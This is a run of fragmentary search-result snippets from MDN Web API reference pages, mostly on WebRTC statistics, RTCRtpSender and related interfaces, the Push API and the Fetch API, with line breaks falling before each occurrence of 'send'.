send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetarraybuffer experimentalchrome full support 50edge full support ≤79firefox full support ...
PushMessageData.blob() - Web APIs
hing with your blob }); specifications specification status comment push apithe definition of 'blob()' in that specification. working draft initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetblob experimentalchrome full support 50edge full support ≤79firefox full support 44not...
PushMessageData.json() - Web APIs
hing with your data }); specifications specification status comment push apithe definition of 'json()' in that specification. working draft initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetjson experimentalchrome full support 50edge full support ≤79firefox full support 44not...
PushMessageData.text() - Web APIs
hing with your text }); specifications specification status comment push apithe definition of 'text()' in that specification. working draft initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internettext experimentalchrome full support 50edge full support ≤79firefox full support 44not...
PushRegistrationManager - Web APIs
at resolves the pushregistration associated with the current webapp. pushregistrationmanager.haspermission() returns a promise that resolves to the pushpermissionstatus of the requesting webapp. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetpushregistrationmanager experimentaldeprecatedchrome no support noedge no support nofirefox ? ie ...
PushSubscription.expirationTime - Web APIs
ghrestimestamp. specifications specification status comment push apithe definition of 'expirationtime' in that specification. working draft initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetexpirationtimechrome full support 60edge full support 16firefox no support noie ...
PushSubscription.getKey() - Web APIs
ion status comment push api working draft this is the push api spec, but note that getkey() is not currently specified in here. it is currently firefox-only experimental. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetgetkey()chrome full support 42edge full support 16firefox full support 44notes ...
PushSubscription.subscriptionId - Web APIs
push subscription. syntax var subid = pushsubscription.subscriptionid; specifications specification status comment push api working draft initial definition browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetsubscriptionidchrome full support 42edge full support ≤18firefox no support noie ...
RTCDTMFToneChangeEvent.RTCDTMFToneChangeEvent() - Web APIs
andard but not included on most telephones. these are not interpreted as digits. lower-case "a"-"d" automatically gets converted to upper-case. the pound/hash sign ("#") and the asterisk ("*") these correspond to the similarly-labeled keys which are typically on the bottom row of the telephone keypad. the comma (",") this character instructs the dialing process to pause for two seconds before
sending the next character in the buffer. all other characters are unrecognized and will cause insertdtmf() to throw an invalidcharactererror exception. specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcdtmftonechangeevent()' in that specification. candidate recommendation initial definition. ...
RTCDataChannel.close() - Web APIs
nished closing by watching for a close event on the data channel. the sequence of events which occurs in response to this method being called: rtcdatachannel.readystate is set to "closing". a background task is established to handle the remainder of the steps below, and close() returns to the caller. the transport layer deals with any buffered messages; the protocol layer decides whether to
send them or discard them. the underlying data transport is closed. the rtcdatachannel.readystate property is set to "closed". if the transport was closed with an error, the rtcdatachannel is sent a networkerror event. a close event is sent to the channel. in firefox, the rtcdatachannel interface was implemented under the name datachannel until firefox 24, so this method was called datachannel.
RTCDataChannel - Web APIs
n the open event is fired; this is a simple event which is sent when the data channel's underlying data transport—the link over which the rtcdatachannel's messages flow—is established or re-established.methodsalso inherits methods from: eventtargetclose()the rtcdatachannel.close() method closes the rtcdatachannel. either peer is permitted to call this method to initiate closure of the channel.
send()the
send() method of the rtcdatachannel interface
sends data across the data channel to the remote peer. events bufferedamountlow sent to the channel's onbufferedamountlow event handler when the number of bytes of data in the outgoing data buffer falls below the value specified by bufferedamountlowthreshold. close sent to the onclose event handler when the underlying data transport closes...
RTCIceCandidatePair.local - Web APIs
localcandidate = rtcicecandidatepair.local; value an rtcicecandidate which describes the configuration of the local end of a viable pair of ice candidates. the rtcicecandidatepair is returned by the rtcicetransport method getselectedcandidatepair(). example this one-line example simply obtains the current candidate pair and then from that gets the local candidate. var candidatepair = pc.get
senders()[0].transport.transport.getselectedcandidatepair(); var localcandidate = candidatepair.local; the rtcicetransport is found by getting the list of rtcrtp
sender objects for the rtcpeerconnection pc. in the first rtcrtp
sender, we get the rtcdtlstransport over which the media data is being transmitted and finally, from that, the rtcicetransport. specifications specification status ...
RTCIceCandidatePair.remote - Web APIs
otecandidate = rtcicecandidatepair.remote; value an rtcicecandidate which describes the configuration of the remote end of a viable pair of ice candidates. the rtcicecandidatepair is returned by the rtcicetransport method getselectedcandidatepair(). example this one-line example simply obtains the current candidate pair and then from that gets the remote candidate. var candidatepair = pc.get
senders()[0].transport.transport.getselectedcandidatepair(); var remotecandidate = candidatepair.remote; the rtcicetransport is found by getting the list of rtcrtp
sender objects for the rtcpeerconnection pc. in the first rtcrtp
sender, we get the rtcdtlstransport over which the media data is being transmitted and finally, from that, the rtcicetransport. specifications specification statu...
RTCIceCandidatePair - Web APIs
local an rtcicecandidate describing the configuration of the local end of the connection. remote the rtcicecandidate describing the configuration of the remote end of the connection. example in this example, an event handler for selectedcandidatepairchange is set up to update an on-screen display showing the protocol used by the currently selected candidate pair. ...
RTCIceCandidatePairStats.availableOutgoingBitrate - Web APIs
bleoutgoingbitrate; value a floating-point value which approximates the amount of available bandwidth for outgoing data on the network connection described by the rtcicecandidatepair. the value is reported in bits per second and is computed over a 1-second interval. the returned value is undefined in each of the following situations: the underlying implementation doesn't support computing a
sender-side estimate of the outgoing bit rate. the rtcicecandidatepair described by this object has never been used. the candidate pair was once in use, but no longer is. the value returned is calculated by adding up the available bit rate for every rtp stream using the connection described by this candidate pair. the returned value doesn't take into account overhead introduced by underlying proto...
RTCIceCandidatePairStats.totalRoundTripTime - Web APIs
the rtcicecandidatepairstats dictionary's totalroundtriptime property is the total time that has elapsed between
sending stun requests and receiving the responses, for all such requests that have been made so far on the pair of candidates described by this rtcicecandidatepairstats object. this value includes both connectivity check and consent check requests. syntax totalrtt = rtcicecandidatepairstats.totalroundtriptime; value this floating-point value indicates the total number of seconds which have elapsed between
sending out stun connectivity and consent check requests and receiving their responses, for all such requests made so far on the connection described by this candidate pair. you can calculate the average round-trip time (rtt) by dividing this value by the value of the respo...
RTCIceCandidatePairStats - Web APIs
er attribute's req field is greater than 1. retransmissionssent optional the total number of times connectivity check request retransmissions were sent. state optional a rtcstatsicecandidatepairstate object which indicates the state of the connection between the two candidates. totalroundtriptime optional a floating-point value indicating the total time, in seconds, that has elapsed between
sending stun requests and receiving responses to them, for all such requests made to date on this candidate pair. this includes botyh connectivity check and consent check requests. you can compute the average round trip time (rtt) by dividing this value by responsesreceived. transportid optional a domstring that uniquely identifies the rtcicetransport that was inspected to obtain the transport-relat...
RTCIceTransport.getSelectedCandidatePair() - Web APIs
the selectedcandidatepairchange event is fired again. note: it's possible for one of the configurations in the selected candidate pair to remain unchanged when a new pairing is chosen. example in this example, an event handler for selectedcandidatepairchange is set up to update an on-screen display showing the protocol used by the currently selected candidate pair. ...
RTCIceTransport.ongatheringstatechange - Web APIs
on't gather any further candidates unless an ice restart occurs, at which point the gathering process starts over from scratch. example this snippet establishes a handler for the gatheringstatechange event that checks to see if the state has changed to "complete", indicating that all ice candidates from both the local and remote peers have been received and processed. var icetransport = pc.get
senders()[0].transport.transport; icetransport.ongatheringstatechange = function(event) { if (icetransport.gatheringstate == "complete") { allcandidatesreceived(pc); } } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcicetransport.ongatheringstatechange' in that specification. candidate rec...
RTCIceTransport.onselectedcandidatepairchange - Web APIs
datepair whose rtcicecandidatepair.local and rtcicecandidatepair.global properties specify rtcicecandidate objects describing the local and remote candidates that are currently being used. example in this example, an event handler for selectedcandidatepairchange is set up to update an on-screen display showing the protocol used by the currently selected candidate pair. ...
RTCIceTransport.onstatechange - Web APIs
s as its sole input an event object describing the statechange event which occurred. to determine the new state, examine the value of state. example this snippet establishes a handler for the statechange event that looks to see if the transport has entered the "failed" state, which indicates that the connection has failed with no chance of being automatically restored. var icetransport = pc.get
senders()[0].transport.icetransport; icetransport.onstatechange = function(event) { if (icetransport.state == "failed") { handlefailure(pc); } } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcicetransport.onstatechange' in that specification. candidate recommendation initial specificati...
RTCIceTransport - Web APIs
tes. see the rtcicetransportstate enumerated type for a complete list of states. methods also includes methods from eventtarget, the parent interface. getlocalcandidates() returns an array of rtcicecandidate objects, each describing one of the ice candidates that have been gathered so far for the local device. these are the same candidates which have already been sent to the remote peer by
sending an icecandidate event to the rtcpeerconnection for transmission. getlocalparameters() returns a rtciceparameters object describing the ice parameters established by a call to the rtcpeerconnection.setlocaldescription() method. returns null if parameters have not yet been received. getremotecandidates() returns an array of rtcicecandidate objects, one for each of the remote device's ice can...
RTCInboundRtpStreamStats.bytesReceived - Web APIs
var bytesreceived = rtcinboundrtpstreamstats.bytesreceived; value an unsigned integer value indicating the total number of bytes received so far on this rtp stream, not including header and padding bytes. this value can be used to calculate an approximation of the average media data rate: avgdatarate = rtcinboundrtpstreamstats.bytesreceived / elapsedtime; this value gets reset to zero if the
sender's ssrc identifier changes for any reason. specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcinboundrtpstreamstats.bytesreceived' in that specification. candidate recommendation initial definition. ...
RTCInboundRtpStreamStats.firCount - Web APIs
the fircount property of the rtcinboundrtpstreamstats dictionary indicates the number of full intra request (fir) packets have been sent by the receiver to the
sender. the receiver
sends a fir packet when the stream falls behind and needs to skip frames in order to catch up. syntax var fircount = rtcinboundrtpstreamstats.fircount; value an integer value indicating how many fir packets have been received by the
sender during the current connection. this statistic is available only for video tracks. the receiver
sends a fir packet to the
sender any time it falls bahind or loses packets and cannot decode the incoming stream any longer because of the lost data. this tells the
sender to
send a full frame instead of a delta frame, so that the receiver can catch up. the higher fircount is, the...
RTCInboundRtpStreamStats.nackCount - Web APIs
the nackcount property of the rtcinboundrtpstreamstats dictionary is a numeric value indicating the number of times the receiver sent a nack packet to the
sender. a nack (negative acknowledgement, also called "generic nack") packet tells the
sender that one or more of the rtp packets it sent were lost in transport. syntax var nackcount = rtcinboundrtpstreamstats.nackcount; value an integer value indicating how many times the receiver sent a nack packet to the
sender after detecting that one or more packets were lost during transport. specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcinboundrtpstreamstats.nackcount' in that specification. candidate recommendation initial definition. ...
RTCInboundRtpStreamStats.qpSum - Web APIs
e controlled using one or more parameters. it's important to keep in mind that the value of qp can change periodically—even every frame—so it's difficult to know for certain how substantial the compression is. the best you can do is make an estimate. you can, for example, use the value of rtcreceivedrtpstreamstats.framesdecoded if receiving the media or rtcsentrtpstreamstats.framesencoded if
sending it to get the number of frames handled so far, and compute an average from there. see calculating average quantization below for a function that does this. also, the exact meaning of the qp value depends on the codec being used. for example, for the vp8 codec, the qp value can be anywhere from 1 to 127 and is found in the frame header element "y_ac_qi", whose value is defined in rfc 6386: 19.
RTCInboundRtpStreamStats.remoteId - Web APIs
the remoteid property of the rtcinboundrtpstreamstats dictionary specifies the id of the rtcremoteoutboundrtpstreamstats object representing the remote peer's rtcrtp
sender which is
sending the media to the local peer. syntax var remotestatsid = rtcinboundrtpstreamstats.remoteid; value a domstring containing the id of the rtcremoteoutboundrtpstreamstats object that represents the remote peer's rtcrtp
sender for the synchronization source represented by this stats object. specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcinboundrtpstreamstats.remoteid' in that specification. candidate recommendation initial definition. ...
RTCInboundRtpStreamStats.sliCount - Web APIs
the slicount property of the rtcinboundrtpstreamstats dictionary indicates how many slice loss indication (sli) packets the rtcrtpreceiver for which this object provdes statistics sent to the remote rtcrtp
sender. an sli packet is used by a decoder to let the encoder know that it's detected corruption of one or more consecutive macroblocks (in scan order) in the received media. in general, what's usually of interest is that the higher this number is, the more the stream data is becoming corrupted between the
sender and the receiver, requiring re
sends or dropping frames. syntax var slicount = rtcinboundrtpstreamstats.slicount; value an unsigned integer indicating the number of sli packets this receiver sent to the remote
sender due to lost runs of macroblocks. a high value of slicount may ...
RTCOutboundRtpStreamStats.lastPacketSentTimestamp - Web APIs
syntax var lastpackettimestamp = rtcoutboundrtpstreamstats.lastpacketsenttimestamp; value a domhighrestimestamp which specifies the time at which the most recently received packet arrived on this rtp stream. note: this value differs from the timestamp, which represents the time at which the statistics object was created. ...
RTCOutboundRtpStreamStats.nackCount - Web APIs
the nackcount property of the rtcoutboundrtpstreamstats dictionary is a numeric value indicating the number of times the rtcrtp
sender described by this object received a nack packet from the remote receiver. a nack (negative acknowledgement, also called "generic nack") packet is used by the rtcrtpreceiver to inform the
sender that one or more rtp packets it sent were lost in transport. syntax var nackcount = rtcoutboundrtpstreamstats.nackcount; value an integer value indicating how many times the
sender received a nack packet from the receiver, indicating the loss of one or more packets. specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcoutboundrtpstreamstats.nackcount' in that specification. candidate rec...
RTCOutboundRtpStreamStats.qpSum - Web APIs
in general, the higher this number is, the more heavily compressed the video data is. syntax var qpsum = rtcoutboundrtpstreamstats.qpsum; value an unsigned 64-bit integer value which indicates the sum of the quantization parameter (qp) value for every frame sent so far on the track described by the rtcoutboundrtpstreamstats object. ...
RTCOutboundRtpStreamStats.remoteId - Web APIs
syntax var remotestatsid = rtcoutboundrtpstreamstats.remoteid; value a domstring containing the id of the rtcremoteinboundrtpstreamstats object that represents the remote peer's rtcrtpreceiver for the synchronization source represented by this stats object. ...
RTCOutboundRtpStreamStats.trackId - Web APIs
the trackid property of the rtcoutboundrtpstreamstats dictionary indicates the id of the rtc
senderaudiotrackattachmentstats or rtc
sendervideotrackattachmentstats object representing the mediastreamtrack which is being sent on this stream. syntax var trackstatsid = rtcoutboundrtpstreamstats.trackid; value a domstring containing the id of the rtc
senderaudiotrackattachmentstats or rtc
sendervideotrackattachmentstats object representing the track which is the source of the media being sent on this stream. specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcoutboundrtpstreamstats.trackid' in that specification. candidate recommendation initial definition. ...
RTCPeerConnection: addstream event - Web APIs
up; otherwise, an addstream event listener is set up. pc is an rtcpeerconnection. if (pc.addtrack !== undefined) { pc.ontrack = ev => { ev.streams.foreach(stream => doaddstream(stream)); } } else { pc.onaddstream = ev => { doaddstream(ev.stream); } } this calls a function doaddstream() once for each stream being added to the rtcpeerconnection, regardless of whether the browser
sends addstream or track. you can also use the addeventlistener() method to set an event listener: pc.addeventlistener("addstream", ev => doaddstream(ev.stream), false); ...
RTCPeerConnection.close() - Web APIs
the rtcpeerconnection.close() method closes the current peer connection. syntax peerconnection.close(); this method has no parameters, and returns nothing. calling this method terminates the rtcpeerconnection's ice agent, ending any ongoing ice processing and any active streams. this also releases any resources in use by the ice agent, including turn permissions. all rtcrtp
sender objects are considered to be stopped once this returns (they may still be in the process of stopping, but for all intents and purposes, they're stopped). once this method returns, the signaling state as returned by rtcpeerconnection.signalingstate is closed. make sure that you delete all references to the previous rtcpeerconnection before attempting to create a new one that connects to the same remote peer, ...
RTCPeerConnection.getStats() - Web APIs
the entire rtcpeerconnection. return value a promise which resolves with an rtcstatsreport object providing connection statistics. the contents of the report depend on the selector as well as other details of the connection. exceptions this method does not throw exceptions; instead, it rejects the returned promise with one of the following errors: invalidaccesserror there is no rtcrtp
sender or rtcrtpreceiver whose track matches the specified selector, or selector matches more than one
sender or receiver. obsolete syntax previously, getstats() used success and failure callbacks to report the results to you, instead of using a promise. this version of getstats() is obsolete; in addition, the data it returns is entirely different from the current specification, and the form of t...
RTCPeerConnection.setLocalDescription() - Web APIs
r than letting setlocaldescription() do it. async function handlenegotiationneededevent() { try { await offer = pc.createoffer(); pc.setlocaldescription(offer); signalremotepeer({ description: pc.localdescription }); } catch(err) { reporterror(err); } } this begins by creating an offer by calling createoffer(); when that succeeds, we call setlocaldescription(). we can then
send the newly-created offer along to the other peer using the signaling server, which here is done by calling a function called signalremotepeer(). specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcpeerconnection.setlocaldescription()' in that specification. candidate recommendation initial specifi...
RTCPeerConnectionIceErrorEvent - Web APIs
constructor rtcpeerconnectioniceerrorevent() creates and returns a new rtcpeerconnectioniceerrorevent object, with its type and other properties initialized as specified in the parameters. you will not normally create an object of this type yourself. ...
RTCRemoteOutboundRtpStreamStats.localId - Web APIs
report object, which it stores in startreport for use once the end-of-test data has been collected by networkteststop(). networkteststop() the networkteststop() function obtains a second report, endreport, then uses the two reports together to determine several... xxx ... finding paired statistics each statistics record of type remote-outbound-rtp (describing a remote peer's statistics about
sending data to the local peer) has a corresponding record of type inbound-rtp which describes the local peer's perspective on the same data being moved between the two peers. let's create a utility function to help us look up the value of a key in the paired statistics object. the findreportentry() function shown below examines an rtcstatsreport, returning the rtcstats-based statistics record which ...
RTCRemoteOutboundRtpStreamStats.remoteTimestamp - Web APIs
ceived locally. syntax let remotetimestamp = rtcremoteoutboundrtpstreamstats.remotetimestamp; value a domhighrestimestamp value indicating the timestamp on the remote peer at which it sent these statistics. this is different from the value timestamp, which gives the time at which the statistics were generated or received by the local peer. if this property is present, it comes from the rtcp
sender report (sr) block, which reflects the clock on the remote peer at the time the message was sent. keep in mind that this means the clock may not be synchronized with the local clock, and that both the current time and the pace at which the clock runs may differ to some extent. specifications specification status comment identifiers for webrtc's statistics apithe definit...
RTCRemoteOutboundRtpStreamStats.reportsSent - Web APIs
the rtcremoteoutboundrtpstreamstats dictionary's reportssent property provides the number of
sender reports (srs) the remote peer has transmitted to the local peer. syntax let reportcount = rtcremoteoutboundrtpstreamstats.reportssent; value an integer value which indicates the total number of rtcp
sender reports so far sent by the remote peer to the local peer. usage notes
sender reports, described in rfc 3550, section 6.4.1 with an overview in rfc 3550, section 6.4, are used by rtp to share data transmission quality feedback between the two peers. the data in these reports is used by webrtc to fill out various fields within the statistics objects, and this property's value indicates how many times that information was shared. examples <<<--- add an example --->>> ...
RTCRemoteOutboundRtpStreamStats - Web APIs
pecifying the timestamp (on the remote device) at which the statistics in the rtcremoteoutboundrtpstreamstats object were sent by the remote endpoint. this is different from the timestamp found in the base rtcstats dictionary; it represents the time at which the object's statistics were received or generated by the local endpoint. reportssent an integer value indicating the total number of rtcp
sender report (sr) blocks that this ssrc has sent. usage notes the rtcremoteoutboundrtpstreamstats object's remotetimestamp proeprty provides statistics based on the received data's ntp timestamp taken from an rtcp
sender report (sr) block. be aware that the remote clock may not be synchronized with the local clock (either in current time or speed at which time elapses). specifications s...
RTCRtcpParameters - Web APIs
the rtcrtcpparameters dictionary provides parameters of an rtcp connection. it's used as the value of the rtcp property of the parameters of an rtcrtp
sender or rtcrtpreceiver. properties cname the canonical name (cname) being used by rtcp. this is used, for example, in sdes (sdp security descriptions) messages, described in rfc 4568. this property cannot be changed once initialized. reducedsize a boolean value indicating whether or not reduced size rtcp is configured. if this value is true, reduced size rtcp (described in rfc 5506) is in effect. if false, compund rtcp is in use, as found in rfc 3550. this property cannot be changed once initialized. examples this example obtains the canonical name (cname) being used for rtcp on an rtcrtp
sender or rtcrtpreceiver. function getrtpcnam...
RTCRtpCapabilities - Web APIs
the rtcrtpcapabilities dictionary is a data type used to describe the capabilities of an rtcrtp
sender or rtcrtpreceiver in response to a call to the rtcrtp
sender.getcapabilities() or rtcrtpreceiver.getcapabilities() static functions, both of which return an array of rtcrtpcapabilities objects. an rtcrtpcapabilities object contains an array of objects conforming to rtcrtpcodeccapability (each describing the capabilities of one codec) and an array of the supported rtp header extensions for that codec. properties codecs an array of rtcrtpcodeccapability objects, each describing one of the codecs supported by the rtcrtp
sender or rtcrtpreceiver. there are some special entries in this array, described below in the section the codecs array. headerextensions an array of objects conforming to ...
RTCRtpCodecCapability - Web APIs
rresponds to the codec, if such a line exists. if there is no parameters field, this property is left out. description rtcrtpcodeccapabilities describes the basic parameters for a single codec supported by the user's device. an array of objects of this type is returned in the codecs property of the rtcrtpcapabilities object returned in response to a call to either of the static functions rtcrtp
sender.getcapabilities() or rtcrtpreceiver.getcapabilities(). examples tbd specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcrtpcodeccapability' in that specification. candidate recommendation ...
RTCRtpContributingSource.source - Web APIs
fication status comment webrtc 1.0: real-time communication between browsersthe definition of 'source' in that specification. candidate recommendation initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetsourcechrome full support 59edge full support ≤79firefox full support 59disabled ...
RTCRtpEncodingParameters.scaleResolutionDownBy - Web APIs
e the size of the video by a factor of 2 both horizontally and vertically, resulting in a video 25% the original size. a value less than 1.0 would cause the video to get larger rather than smaller, which is not the intent of this property. therefore, specifying a value less than 1.0 is not permitted and will cause a rangeerror exception to be thrown by rtcpeerconnection.addtransceiver() or rtcrtp
sender.setparameters(). specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcrtpencodingparameters.scaleresolutiondownby' in that specification. candidate recommendation initial definition. ...
RTCRtpReceiver.track - Web APIs
ification status comment webrtc 1.0: real-time communication between browsersthe definition of 'track' in that specification. candidate recommendation initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internettrackchrome full support 59edge full support 12firefox full support yesie ...
RTCRtpStreamStats.firCount - Web APIs
the fircount property of the rtcrtpstreamstats dictionary indicates the number of full intra request (fir) packets have been sent by the receiver to the
sender. this is a measure of how often the stream falls behind and has to skip frames in order to catch up. syntax var fircount = rtcrtpstreamstats.fircount; value an integer value indicating how many fir packets have been received by the
sender during the current connection. this value is available only on receivers for video tracks. the receiver
sends a fir packet to the
sender any time it falls bahind or loses packets and cannot decode the incoming stream any longer because of the lost data. this tells the
sender to
send a full frame instead of a delta frame, so that the receiver can catch up. the higher fircount is, the more often f...
RTCRtpStreamStats.qpSum - Web APIs
e controlled using one or more parameters. it's important to keep in mind that the value of qp can change periodically—even every frame—so it's difficult to know for certain how substantial the compression is. the best you can do is make an estimate. you can, for example, use the value of rtcreceivedrtpstreamstats.framesdecoded if receiving the media or rtcsentrtpstreamstats.framesencoded if
sending it to get the number of frames handled so far, and compute an average from there. see calculating average quantization below for a function that does this. also, the exact meaning of the qp value depends on the codec being used. for example, for the vp8 codec, the qp value can be anywhere from 1 to 127 and is found in the frame header element "y_ac_qi", whose value is defined in rfc 6386: 19.
RTCRtpStreamStats.sliCount - Web APIs
the slicount property of the rtcrtpstreamstats dictionary indicates how many slice loss indication (sli) packets were received by the
sender. an sli packet is used by a decoder to let the encoder know that it's detected corruption of one or more consecutive macroblocks in the received media. syntax var slicount = rtcrtpstreamstats.slicount; value an unsigned long integer indicating the number of sli packets the
sender received from the receiver due to lost runs of macroblocks. a high value of slicount may be an indication of an unreliable network. for technical details, see rfc 4585: 6.3.2. note: this value is sent by the
sender to the receiver and is only present for video media. specifications specification status comment identifiers for webrtc's statistics...
RTCRtpTransceiver.mid - Web APIs
syntax var mediaid = rtcrtptransceiver.mid; value a domstring which uniquely identifies the pairing of source and destination of the transceiver's stream. its value is taken from the media id of the sdp m-line. this value is null if negotiation has not completed. ...
RTCRtpTransceiverInit - Web APIs
the rtcrtptransceiverinit dictionary is used when calling the webrtc function rtcpeerconnection.addtransceiver() to provide configuration options for the new transceiver. properties direction optional the new transceiver's preferred directionality. this value is used to initialize the new rtcrtptransceiver object's rtcrtptransceiver.direction property.
sendencodings optional a list of encodings to allow when
sending rtp media from the rtcrtp
sender. each entry is of type rtcrtpencodingparameters. streams optional a list of mediastream objects to add to the transceiver'srtcrtpreceiver; when the remote peer's rtcpeerconnection's track event occurs, these are the streams that will be specified by that event. specifications specification status comment webrtc ...
RTCSctpTransport - Web APIs
ackets for all of an rtcpeerconnection's data channels are sent and received. you don't create rtcsctptransport objects yourself; instead, you get access to the rtcsctptransport for a given rtcpeerconnection through its sctp property. possibly the most useful property on this interface is its maxmessagesize property, which you can use to determine the upper limit on the size of messages you can
send over a data channel on the peer connection. properties also inherits properties from: eventtarget rtcsctptransport.maxchannelsread only an integer value indicating the maximum number of rtcdatachannels that can be open simultaneously. rtcsctptransport.maxmessagesizeread only an integer value indicating the maximum size, in bytes, of a message which can be sent using the rtcdatachannel.s...
RTCSessionDescription() - Web APIs
descriptioninit dictionary, so you don't have to instantiate an rtcsessiondescription yourself. navigator.getusermedia({video: true}, function(stream) { pc.onaddstream({stream: stream}); // adding a local stream won't trigger the onaddstream callback pc.addstream(stream); pc.createoffer(function(offer) { pc.setlocaldescription(new rtcsessiondescription(offer), function() { //
send the offer to a server to be forwarded to the friend you're calling. }, error); }, error); } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcsessiondescription()' in that specification. candidate recommendation initial specification. ...
RTCSessionDescription - Web APIs
ured. each rtcsessiondescription consists of a description type indicating which part of the offer/answer negotiation process it describes and of the sdp descriptor of the session. the process of negotiating a connection between two peers involves exchanging rtcsessiondescription objects back and forth, with each description suggesting one combination of connection configuration options that the
sender of the description supports. once the two peers agree upon a configuration for the connection, negotiation is complete. properties the rtcsessiondescription interface doesn't inherit any properties. rtcsessiondescription.type read only an enum of type rtcsdptype describing the session description's type. rtcsessiondescription.sdp read only a domstring containing the sdp describing ...
RTCTrackEvent.receiver - Web APIs
the read-only receiver property of the rtctrackevent interface indicates the rtcrtpreceiver which is used to receive data containing media for the track to which the event refers. syntax var rtpreceiver = trackevent.receiver; value the rtcrtptransceiver which pairs the receiver with a
sender and other properties which establish a single bidirectional srtp stream for use by the track associated with the rtctrackevent. note: the transceiver includes its own receiver property, which will always be the same rtcrtpreceiver as this one. specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtctrackevent.receiver' in that specification. candidate recommendation initial specification. ...
RTCTrackEventInit.receiver - Web APIs
the rtctrackeventinit dictionary's receiver property specifies the rtcrtpreceiver associated with the event. syntax var trackeventinit = { receiver: rtpreceiver, track: mediastreamtrack, streams: [videostream], transceiver: rtptransceiver }; var rtpreceiver = trackeventinit.receiver; value the rtcrtptransceiver which pairs the receiver with a
sender and other properties which establish a single bidirectional srtp stream for use by the track associated with the rtctrackevent. note: the transceiver includes its own receiver property, which will always be the same rtcrtpreceiver as this one. specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtctrackeventinit.receiver' in that specificat...
RTCTrackEventInit.transceiver - Web APIs
the rtctrackeventinit dictionary's transceiver property specifies the rtcrtptransceiver associated with the track event. the transceiver pairs the track's receiver with an rtcrtp
sender to allow bidirectional communication. syntax var trackeventinit = { receiver: rtpreceiver, track: mediastreamtrack, streams: [videostream], transceiver: rtptransceiver }; var rtptransceiver = trackeventinit.transceiver; value the rtcrtptransceiver which pairs the receiver with a
sender and other properties which establish a single bidirectional srtp stream for use by the track associated with the rtctrackevent. note: the rtcrtpreceiver referred to by this rtcrtpreceiver's receiver property will always be the same as the rtctrackevent's receiver property. specifications specification ...
ReadableStream.pipeThrough() - Web APIs
f the transformstream. exceptions typeerror the writable and/or readable property of transformstream are undefined. examples in the following example (see unpack chunks of a png for the full code running live, and png-transform-stream for the source code), an image is fetched and its body retrieved as a readablestream. next, we log the contents of the readable stream, use pipethrough() to
send it to a new function that creates a gray-scaled version of the stream, then log the new stream's contents too. // fetch the original image fetch('png-logo.png') // retrieve its body as readablestream .then(response => response.body) .then(rs => logreadablestream('fetch response stream', rs)) // create a gray-scaled png stream out of the original .then(body => body.pipethrough(new pngtransformstr...
Report - Web APIs
accessed in a number of ways: via the reportingobserver.takerecords() method — this returns all reports in an observer's report queue, and then empties the queue. via the reports parameter of the callback function passed into the reportingobserver() constructor upon creation of a new observer instance. this contains the list of reports currently contained in the observer's report queue. by
sending requests to the endpoints defined via the report-to http header. properties report.body read only the body of the report, which is a reportbody object containing the detailed report information. report.type read only the type of report generated, e.g. deprecation or intervention. report.url read only the url of the document that generated the report. methods this interface has ...
Request.cache - Web APIs
h("some.json", {cache: "no-store"}) .then(function(response) { /* consume the response */ }); // download a resource with cache busting, but update the http // cache with the downloaded resource. fetch("some.json", {cache: "reload"}) .then(function(response) { /* consume the response */ }); // download a resource with cache busting when dealing with a // properly configured server that will
